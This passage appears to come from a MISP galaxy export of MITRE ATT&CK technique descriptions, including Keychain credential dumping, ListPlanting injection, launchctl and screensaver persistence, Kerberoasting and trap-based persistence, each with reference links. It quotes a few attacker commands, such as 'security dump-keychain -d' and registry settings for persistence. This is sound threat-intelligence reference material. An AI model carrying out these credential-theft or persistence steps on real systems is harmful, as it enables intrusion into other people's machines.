Adversaries may gather user credentials from Keychain storage/memory. For example, the command <code>security dump-keychain –d</code> will dump all Login Keychain credentials from <code>~/Library/Keychains/login.keychain-db</code>. Adversaries may also directly read Login Keychain credentials from the <code>~/Library/Keychains/login.keychain</code> file. Both methods require a password, where the default password for the Login Keychain is the current user's password to login to the macOS host.(Citation: External to DA, the OS X Way)(Citation: Empire Keychain Decrypt)

The tag is: *misp-galaxy:mitre-attack-pattern="Keychain - T1555.001"*

Table 9077. Table References

Links
https://attack.mitre.org/techniques/T1555/001
https://developer.apple.com/documentation/security/keychain_services
https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/collection/osx/keychaindump_decrypt.py
https://support.passware.com/hc/en-us/articles/4573379868567-A-Deep-Dive-into-Apple-Keychain-Decryption
https://www.netmeister.org/blog/keychain-passwords.html
https://www.slideshare.net/slideshow/external-to-da-the-os-x-way/62021418

ListPlanting - T1055.015

Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process.(Citation: Hexacorn Listplanting) Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.

List-view controls are user interface windows used to display collections of items.(Citation: Microsoft List View Controls) Information about an application's list-view settings are stored within the process' memory in a <code>SysListView32</code> control.

ListPlanting (a form of message-passing "shatter attack") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom

callback for sorting the listed items.(Citation: Modexp Windows Process Injection) Adversaries must first copy code into the target process' memory space, which can be performed various ways including by directly obtaining a handle to the <code>SysListView32</code> child of the victim process window (via Windows API calls such as <code>FindWindow</code> and/or <code>EnumWindows</code>) or other [Process Injection](https://attack.mitre.org/techniques/T1055) methods.

Some variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored <code>WriteProcessMemory</code> function. For example, an adversary can use the <code>PostMessage</code> and/or <code>SendMessage</code> API functions to send <code>LVM_SETITEMPOSITION</code> and <code>LVM_GETITEMPOSITION</code> messages, effectively copying a payload 2 bytes at a time to the allocated memory.(Citation: ESET InvisiMole June 2020)

Finally, the payload is triggered by sending the <code>LVM_SORTITEMS</code> message to the <code>SysListView32</code> child of the process window, with the payload within the newly allocated buffer passed and executed as the <code>ListView_SortItems</code> callback.

The tag is: *misp-galaxy:mitre-attack-pattern="ListPlanting - T1055.015"*

Table 9078. Table References

Links
https://attack.mitre.org/techniques/T1055/015
https://docs.microsoft.com/windows/win32/controls/list-view-controls-overview
https://modexp.wordpress.com/2019/04/25/seven-window-injection-methods/
https://www.hexacorn.com/blog/2019/04/25/listplanting-yet-another-code-injection-trick/
https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf

Launchctl - T1569.001

Adversaries may abuse launchctl to execute commands or programs. Launchctl interfaces with launchd, the service management framework for macOS. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man)

Adversaries use launchctl to execute commands and programs as [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s. Common subcommands include: <code>launchctl load</code>,<code>launchctl unload</code>, and <code>launchctl start</code>. Adversaries can use scripts or manually run the commands <code>launchctl load -w "%s/Library/LaunchAgents/%s"</code> or <code>/bin/launchctl load</code> to execute [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s.(Citation: Sofacy Komplex Trojan)(Citation: 20 macOS Common Tools and Techniques)

The tag is: *misp-galaxy:mitre-attack-pattern="Launchctl - T1569.001"*

Table 9079. Table References

Links
https://attack.mitre.org/techniques/T1569/001
https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/
https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
https://ss64.com/osx/launchctl.html

Malware - T1587.001

Adversaries may develop malware and malware components that can be used during targeting. Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors (including backdoored images), packers, C2 protocols, and the creation of infected removable media. Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB)

During malware development, adversaries may intentionally include indicators aligned with other known actors in order to mislead attribution by defenders.(Citation: Olympic Destroyer)(Citation: Risky Bulletin Threat actor impersonates FSB APT)(Citation: GamaCopy organization)

As with legitimate development efforts, different skill sets may be required for developing malware. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's malware development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the malware.

Some aspects of malware development, such as C2 protocol development, may require adversaries to obtain additional infrastructure. For example, malware developed that will communicate with Twitter for C2, may require use of [Web Services](https://attack.mitre.org/techniques/T1583/006).(Citation: FireEye APT29)

The tag is: *misp-galaxy:mitre-attack-pattern="Malware - T1587.001"*

Table 9080. Table References

Links
https://arstechnica.com/information-technology/2014/06/active-malware-operation-let-attackers-sabotage-us-energy-industry/
https://attack.mitre.org/techniques/T1587/001
https://blog.talosintelligence.com/who-wasnt-responsible-for-olympic/
https://medium.com/@knownsec404team/love-and-hate-under-war-the-gamacopy-organization-which-imitates-the-russian-gamaredon-uses-560ba5e633fa

https://news.risky.biz/risky-bulletin-threat-actor-impersonates-fsb-apt-for-months-to-target-russian-orgs/
https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/
https://services.google.com/fh/files/misc/rpt-apt29-hammertoss-stealthy-tactics-define-en.pdf
https://therecord.media/fbi-fin7-hackers-target-us-companies-with-badusb-devices-to-install-ransomware/
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf

Malware - T1588.001

Adversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.

In addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or from individuals. In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries).

The tag is: *misp-galaxy:mitre-attack-pattern="Malware - T1588.001"*

Table 9081. Table References

Links
https://attack.mitre.org/techniques/T1588/001
https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop

Credentials - T1589.001

Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts.

Adversaries may gather credentials from potential victims in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors.(Citation: ATT ScanBox) (Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Where multi-factor authentication (MFA) based on out-of-band communications is in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP).(Citation: Okta Scatter Swine 2022)

Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: [Search Engines](https://attack.mitre.org/techniques/T1593/002), breach dumps, code repositories, etc.). Adversaries may purchase credentials from dark web markets, such as Russian Market and 2easy, or through access to Telegram channels that distribute logs from infostealer malware.(Citation: Bleeping Computer 2easy 2021)(Citation: SecureWorks Infostealers 2023)(Citation: Bleeping Computer Stealer Logs 2023)

Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).

The tag is: *misp-galaxy:mitre-attack-pattern="Credentials - T1589.001"*

Table 9082. Table References

Links
https://attack.mitre.org/techniques/T1589/001
https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks
https://github.com/dxa4481/truffleHog
https://github.com/michenriksen/gitrob
https://labs.detectify.com/writeups/slack-bot-token-leakage-exposing-business-critical-information/
https://sec.okta.com/scatterswine
https://www.bleepingcomputer.com/news/security/2easy-now-a-significant-dark-web-marketplace-for-stolen-data/
https://www.bleepingcomputer.com/news/security/dissecting-the-dark-web-supply-chain-stealer-logs-in-context/
https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/
https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196
https://www.secureworks.com/research/the-growing-threat-from-infostealers
https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/
https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/

Software - T1592.002

Adversaries may gather information about the victim's host software that can be used during targeting. Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.).

Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Additionally, adversaries may analyze metadata from victim-owned files (e.g., PDFs, DOCs, images, and sound files hosted on victim-owned websites) to extract information about the software and hardware used to create or process those files. Metadata may reveal software versions, configurations, or timestamps that indicate outdated or vulnerable software. This information can be cross-referenced with known CVEs to identify potential vectors for exploitation in future operations.(Citation: Outpost24)

Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or for initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).

The tag is: *misp-galaxy:mitre-attack-pattern="Software - T1592.002"*

Table 9083. Table References

Links
https://attack.mitre.org/techniques/T1592/002
https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks
https://outpost24.com/blog/metadata-hackers-best-friend/
https://threatconnect.com/blog/infrastructure-research-hunting/

Bootkit - T1542.003

Adversaries may use bootkits to persist on systems. A bootkit is a malware variant that modifies the boot sectors of a hard drive, allowing malicious code to execute before a computer's operating system has loaded. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.

In BIOS systems, a bootkit may modify the Master Boot Record (MBR) and/or Volume Boot Record (VBR).(Citation: Mandiant M Trends 2016) The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code.(Citation: Lau 2011)

The MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to

adversary code.

In UEFI (Unified Extensible Firmware Interface) systems, a bootkit may instead create or modify files in the EFI system partition (ESP). The ESP is a partition on data storage used by devices containing UEFI that allows the system to boot the OS and other utilities used by the system. An adversary can use the newly created or patched files in the ESP to run malicious kernel code.(Citation: Microsoft Security)(Citation: welivesecurity)

The tag is: *misp-galaxy:mitre-attack-pattern="Bootkit - T1542.003"*

Table 9084. Table References

Links
http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion
https://attack.mitre.org/techniques/T1542/003
https://web.archive.org/web/20211024160454/https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf
https://www.microsoft.com/en-us/security/blog/2023/04/11/guidance-for-investigating-attacks-using-cve-2022-21894-the-blacklotus-campaign/
https://www.welivesecurity.com/2023/03/01/blacklotus-uefi-bootkit-myth-confirmed/

Firmware - T1592.003

Adversaries may gather information about the victim's host firmware that can be used during targeting. Information about host firmware may include a variety of details such as type and versions on specific hosts, which may be used to infer more information about hosts in the environment (ex: configuration, purpose, age/patch level, etc.).

Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about host firmware may only be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices).(Citation: ArsTechnica Intel) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).

The tag is: *misp-galaxy:mitre-attack-pattern="Firmware - T1592.003"*

Table 9085. Table References

Links
https://arstechnica.com/information-technology/2020/08/intel-is-investigating-the-leak-of-20gb-of-its-source-code-and-private-data/

https://attack.mitre.org/techniques/T1592/003

ROMMONkit - T1542.004

Adversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect. (Citation: Cisco Synful Knock Evolution)(Citation: Cisco Blog Legacy Device Attacks)

ROMMON is a Cisco network device firmware that functions as a boot loader, boot image, or boot helper to initialize hardware and software when the platform is powered on or reset. Similar to [TFTP Boot](https://attack.mitre.org/techniques/T1542/005), an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image. This provides adversaries with the means to update the ROMMON to gain persistence on a system in a way that may be difficult to detect.

The tag is: *misp-galaxy:mitre-attack-pattern="ROMMONkit - T1542.004"*

Table 9086. Table References

Links
https://attack.mitre.org/techniques/T1542/004
https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices
https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954

Screensaver - T1546.002

Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in <code>C:\Windows\System32\</code>, and <code>C:\Windows\sysWOW64\</code> on 64-bit Windows systems, along with screensavers included with base Windows installations.

The following screensaver settings are stored in the Registry (<code>HKCU\Control Panel\Desktop\</code>) and could be manipulated to achieve persistence:

- <code>SCRNSAVE.exe</code> - set to malicious PE path
- <code>ScreenSaveActive</code> - set to '1' to enable the screensaver
- <code>ScreenSaverIsSecure</code> - set to '0' to not require a password to unlock
- <code>ScreenSaveTimeout</code> - sets user inactivity timeout before screensaver is executed

Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.(Citation: ESET Gazer Aug 2017)

The tag is: *misp-galaxy:mitre-attack-pattern="Screensaver - T1546.002"*

Table 9087. Table References

Links
https://attack.mitre.org/techniques/T1546/002
https://en.wikipedia.org/wiki/Screensaver
https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf

WHOIS - T1596.002

Adversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers.(Citation: WHOIS)

Adversaries may search WHOIS data to gather actionable information. Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).

The tag is: *misp-galaxy:mitre-attack-pattern="WHOIS - T1596.002"*

Table 9088. Table References

Links
https://attack.mitre.org/techniques/T1596/002
https://who.is/

Tool - T1588.002

Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)).

Adversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. Tools may also be leveraged for testing – for example, evaluating malware against commercial antivirus or endpoint detection and response (EDR) applications.(Citation: Forescout Conti Leaks 2022)(Citation: Sentinel Labs Top Tier Target 2025)

Tool acquisition may involve the procurement of commercial software licenses, including for red teaming tools such as Cobalt Strike. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries). Threat actors may also crack trial versions of software.(Citation: Recorded Future Beacon 2019)

The tag is: *misp-galaxy:mitre-attack-pattern="Tool - T1588.002"*

Table 9089. Table References

Links
https://attack.mitre.org/techniques/T1588/002
https://www.forescout.com/resources/analysis-of-conti-leaks/
https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/
https://www.recordedfuture.com/blog/identifying-cobalt-strike-servers
https://www.sentinelone.com/labs/top-tier-target-what-it-takes-to-defend-a-cybersecurity-company-from-todays-adversaries/

Server - T1583.004

Adversaries may buy, lease, rent, or obtain physical servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, such as watering hole operations in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), enabling [Phishing](https://attack.mitre.org/techniques/T1566) operations, or facilitating [Command and Control](https://attack.mitre.org/tactics/TA0011). Instead of compromising a third-party [Server](https://attack.mitre.org/techniques/T1584/004) or renting a [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may opt to configure and run their own servers in support of operations. Free trial periods of cloud servers may also be abused.(Citation: Free Trial PurpleUrchin)(Citation: Freejacked)

Adversaries may only need a lightweight setup if most of their activities will take place using online infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems.(Citation: NYTStuxnet)

The tag is: *misp-galaxy:mitre-attack-pattern="Server - T1583.004"*

Table 9090. Table References

Links
https://attack.mitre.org/techniques/T1583/004
https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/
https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2
https://sysdig.com/blog/googles-vertex-ai-platform-freejacked/

https://threatconnect.com/blog/infrastructure-research-hunting/
https://unit42.paloaltonetworks.com/purpleurchin-steals-cloud-resources/
https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html

Botnet - T1583.005

Adversaries may buy, lease, or rent a network of compromised systems that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Adversaries may purchase a subscription to use an existing botnet from a booter/stresser service.

Internet-facing edge devices and related network appliances that are end-of-life (EOL) and unsupported by their manufacturers are commonly acquired for botnet activities. Adversaries may lease operational relay box (ORB) networks – consisting of virtual private servers (VPS), small office/home office (SOHO) routers, or Internet of Things (IoT) devices – to serve as a botnet.(Citation: ORB Mandiant)

With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).(Citation: Imperva DDoS for Hire)(Citation: Krebs-Anna)(Citation: Krebs-Bazaar)(Citation: Krebs-Booter) Acquired botnets may also be used to support Command and Control activity, such as [Hide Infrastructure](https://attack.mitre.org/techniques/T1665) through an established [Proxy](https://attack.mitre.org/techniques/T1090) network.

The tag is: *misp-galaxy:mitre-attack-pattern="Botnet - T1583.005"*

Table 9091. Table References

Links
https://attack.mitre.org/techniques/T1583/005
https://cloud.google.com/blog/topics/threat-intelligence/china-nexus-espionage-orb-networks
https://krebsonsecurity.com/2016/10/are-the-days-of-booter-services-numbered/
https://krebsonsecurity.com/2016/10/hackforums-shutters-booter-service-bazaar/
https://krebsonsecurity.com/2017/01/who-is-anna-senpai-the-mirai-worm-author/
https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html
https://www.imperva.com/learn/ddos/booters-stressers-ddosers/

Kerberoasting - T1558.003

Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to [Brute Force](https://attack.mitre.org/techniques/T1110).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015)

Service principal names (SPNs) are used to uniquely identify each instance of a Windows service.

To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service(Citation: Microsoft Detecting Kerberoasting Feb 2018)).(Citation: Microsoft SPN)(Citation: Microsoft SetSPN)(Citation: SANS Attacking Kerberos Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016)

Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials.(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)

This same behavior could be executed using service tickets captured from network traffic.(Citation: AdSecurity Cracking Kerberos Dec 2015)

Cracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)

The tag is: *misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003"*

Table 9092. Table References

Links
https://adsecurity.org/?p=2293
https://attack.mitre.org/techniques/T1558/003
https://blog.harmj0y.net/powershell/kerberoasting-without-mimikatz/
https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/
https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1
https://msdn.microsoft.com/library/ms677949.aspx
https://redsiege.com/kerberoast-slides
https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx

Accounts - T1636.005

Adversaries may utilize standard operating system APIs to gather account data. On Android, this can be accomplished by using the AccountManager API. For example, adversaries may use the `getAccounts()` method to list all accounts.(Citation: Android_AccountManager_Feb2025) On iOS, this can be accomplished by using the Keychain services.

If the device has been jailbroken or rooted, adversaries may be able to access [Accounts](https://attack.mitre.org/techniques/T1636/005) without the users' knowledge or approval.

The tag is: *misp-galaxy:mitre-attack-pattern="Accounts - T1636.005"*

Table 9093. Table References

Links
https://attack.mitre.org/techniques/T1636/005
https://developer.android.com/reference/android/accounts/AccountManager

Systemctl - T1569.003

Adversaries may abuse systemctl to execute commands or programs. Systemctl is the primary interface for systemd, the Linux init system and service manager. Typically invoked from a shell, Systemctl can also be integrated into scripts or applications.

Adversaries may use systemctl to execute commands or programs as [Systemd Service](https://attack.mitre.org/techniques/T1543/002)s. Common subcommands include: `systemctl start`, `systemctl stop`, `systemctl enable`, `systemctl disable`, and `systemctl status`.(Citation: Red Hat Systemctl 2022)

The tag is: *misp-galaxy:mitre-attack-pattern="Systemctl - T1569.003"*

Table 9094. Table References

Links
https://attack.mitre.org/techniques/T1569/003
https://www.redhat.com/en/blog/linux-systemctl-manage-services

Serverless - T1583.007

Adversaries may purchase and configure serverless cloud infrastructure, such as Cloudflare Workers, AWS Lambda functions, or Google Apps Scripts, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them.

Once acquired, the serverless runtime environment can be leveraged to either respond directly to infected machines or to [Proxy](https://attack.mitre.org/techniques/T1090) traffic to an adversary-owned command and control server.(Citation: BlackWater Malware Cloudflare Workers)(Citation: AWS Lambda Redirector)(Citation: GWS Apps Script Abuse 2021) As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers - making it easier to [Hide Infrastructure](https://attack.mitre.org/techniques/T1665).(Citation: Detecting Command & Control in the Cloud)(Citation: BlackWater Malware Cloudflare Workers)

The tag is: *misp-galaxy:mitre-attack-pattern="Serverless - T1583.007"*

Table 9095. Table References

Links
https://attack.mitre.org/techniques/T1583/007
https://awakesecurity.com/blog/threat-hunting-series-detecting-command-control-in-the-cloud/
https://blog.xpnsec.com/aws-lambda-redirector/
https://www.bleepingcomputer.com/news/security/blackwater-malware-abuses-cloudflare-workers-for-c2-communication/
https://www.bleepingcomputer.com/news/security/hackers-abuse-google-apps-script-to-steal-credit-cards-bypass-csp/#google_vignette

Malvertising - T1583.008

Adversaries may purchase online advertisements that can be abused to distribute malware to victims. Ads can be purchased to plant as well as favorably position artifacts in specific locations online, such as prominently placed within search engine results. These ads may make it more difficult for users to distinguish between actual search results and advertisements.(Citation: spamhaus-malvertising) Purchased ads may also target specific audiences using the advertising network's capabilities, potentially further taking advantage of the trust inherently given to search engines and popular websites.

Adversaries may purchase ads and other resources to help distribute artifacts containing malicious code to victims. Purchased ads may attempt to impersonate or spoof well-known brands. For example, these spoofed ads may trick victims into clicking the ad which could then send them to a malicious domain that may be a clone of official websites containing trojanized versions of the advertised software.(Citation: Masquerads-Guardio)(Citation: FBI-search) Adversary's efforts to create malicious domains and purchase advertisements may also be automated at scale to better resist cleanup efforts.(Citation: sentinelone-malvertising)

Malvertising may be used to support [Drive-by Target](https://attack.mitre.org/techniques/T1608/004) and [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), potentially requiring limited interaction from the user if the ad contains code/exploits that infect the target system's web browser.(Citation: BBC-malvertising)

Adversaries may also employ several techniques to evade detection by the advertising network. For example, adversaries may dynamically route ad clicks to send automated crawler/policy enforcer traffic to benign sites while validating potential targets then sending victims referred from real ad clicks to malicious pages. This infection vector may therefore remain hidden from the ad network as well as any visitor not reaching the malicious sites with a valid identifier from clicking on the advertisement.(Citation: Masquerads-Guardio) Other tricks, such as intentional typos to avoid brand reputation monitoring, may also be used to evade automated detection.(Citation: spamhaus-malvertising)

The tag is: *misp-galaxy:mitre-attack-pattern="Malvertising - T1583.008"*

Table 9096. Table References

Links
https://attack.mitre.org/techniques/T1583/008
https://labs.guard.io/masquerads-googles-ad-words-massively-abused-by-threat-actors-targeting-organizations-gpus-42ae73ee8a1e
https://www.bbc.com/news/technology-12891182
https://www.ic3.gov/Media/Y2022/PSA221221
https://www.sentinelone.com/blog/breaking-down-the-seo-poisoning-attack-how-attackers-are-hijacking-search-results/
https://www.spamhaus.com/resource-center/a-surge-of-malvertising-across-google-ads-is-distributing-dangerous-malware/

Server - T1584.004

Adversaries may compromise third-party servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control.(Citation: TrendMicro EarthLusca 2022) Instead of purchasing a [Server](https://attack.mitre.org/techniques/T1583/004) or [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may compromise third-party servers in support of operations.

Adversaries may also compromise web servers to support watering hole operations, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or email servers to support [Phishing](https://attack.mitre.org/techniques/T1566) operations.

The tag is: *misp-galaxy:mitre-attack-pattern="Server - T1584.004"*

Table 9097. Table References

Links
https://attack.mitre.org/techniques/T1584/004
https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/
https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2
https://threatconnect.com/blog/infrastructure-research-hunting/
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf

Trap - T1546.005

Adversaries may establish persistence by executing malicious content triggered by an interrupt signal. The <code>trap</code> command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like <code>ctrl+c</code> and

<code>ctrl+d</code>.

Adversaries can use this to register code to be executed when the shell encounters specific interrupts as a persistence mechanism. Trap commands are of the following format <code>trap 'command list' signals</code> where "command list" will be executed when "signals" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)

The tag is: *misp-galaxy:mitre-attack-pattern="Trap - T1546.005"*

Table 9098. Table References

Links
https://attack.mitre.org/techniques/T1546/005
https://bash.cyberciti.biz/guide/Trap_statement
https://ss64.com/bash/trap.html

Botnet - T1584.005

